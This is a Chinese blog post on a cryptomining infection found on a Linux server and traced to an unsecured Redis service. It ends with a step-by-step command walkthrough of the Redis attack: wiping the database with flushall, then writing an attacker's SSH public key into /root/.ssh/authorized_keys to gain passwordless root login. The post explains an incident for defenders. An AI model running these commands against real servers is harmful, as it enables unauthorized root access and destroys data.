linux挖矿病毒分析

发现问题:

    在查询进程端口号占用时,发现查询特别慢,而当时运行的程序又很少,于是执行top命令发现存在一个networkservice进程的cpu占用率超过了100%,如图所示:

         linux挖矿病毒分析_第1张图片

networkservice和sysupdate都不是我们自己的运行程序,于是百度了一下,发现是linux挖矿病毒。

处理问题:

   使用top查询到networkservice和sysupdate的进程号,接下来查查程序启动的位置,执行命令:ls -l proc/{进程号4876}/exe。

查询到networkservice和sysupdate都在/etc目录下。在etc下,除了sysupdate、networkservice 同时还有sysguard、update.sh,除了update.sh其余的都是二进制文件,应该就是挖矿的主程序以及守护程序了。

  于是安装百度的建议删除文件,但是发现黑客留下很多后面,虽然清除了病毒文件,最后还是选择了重装服务器的系统。

分析问题:

  根据运维排除,认为是redis漏洞导致的。

  通过redis入侵服务器的原理是:利用redis默认设置,很多用户没有设置访问密码或密码过于简单。然后通过向redis把自己的公钥写入到redis,更改redis的数据库文件配置,把公钥写入到认证文件,最终形成免密码登陆。

  具体操作步骤:

   1.生成本地ssh公钥

     ssh-keygen

   2. 尝试连接redis

      telnet  192.168.15.10 6379

      redis-cli  -h  192.168.15.10

  3.清一下redis 数据库

     redis-cli  -h  192.168.15.10 flushall

  4. 向redis写自己的公钥

     cat key.txt |redis-cli -h 192.168.15.10 -x set redis

 5. 利用redis将公钥写入到authorized_keys文件

     #连接redis

     #redis-cli -h 192.168.15.10

      #查看keys

     192.168.15.10>keys *

     #写入配置库的路径及存放位置

      192.168.15.10>CONFIG SET dir /root/.ssh/

       #写入配置库名称及存放的名字

      192.168.15.10>CONFIG SET dbfilename "authorized_keys"

       #写入

       192.168.15.10>save

       #退出

       192.168.15.10>exit

6.远程连接
       ssh [email protected]   //免登陆连接

 

参考:https://www.freebuf.com/vuls/200289.html

          https://blog.csdn.net/itest_2016/article/details/80935633

 

 

 

你可能感兴趣的:(linux)